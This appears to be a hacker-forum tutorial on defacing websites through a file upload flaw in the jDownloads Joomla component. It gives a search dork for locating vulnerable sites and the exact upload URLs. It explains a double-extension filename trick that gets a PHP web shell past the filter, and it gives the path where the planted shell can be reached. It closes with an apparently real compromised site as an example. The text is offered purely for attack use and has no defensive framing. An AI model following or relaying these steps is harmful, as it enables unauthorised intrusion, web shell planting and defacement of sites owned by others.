Tutorial Deface Jdownloads Upload Shell Vulnerability

Creds to haurgeulis

Dork :
Powered by jDownloads

Exploit :
/index.php?option=com_jdownloads&Itemid=1&view=upload
or
/index.php?option=com_jdownloads&Itemid=1&task=upload

Question What's So Upload Shell in JDownloads? :))
Easy ~ Just Need to Change Shell you become Format shell.php.php.j

After the upload as usual :))
Later After Ter-Upload to Server The file will Changed Format Become shell.php.j Magiccc wkwkw: v

Shell Access ? As Usual ~
www.target.com/images/jdownloads/screenshots/shell.php.j

Happens Will Like This :))
http://www.define.pk/images/jdownloads/screenshots/andela.php.j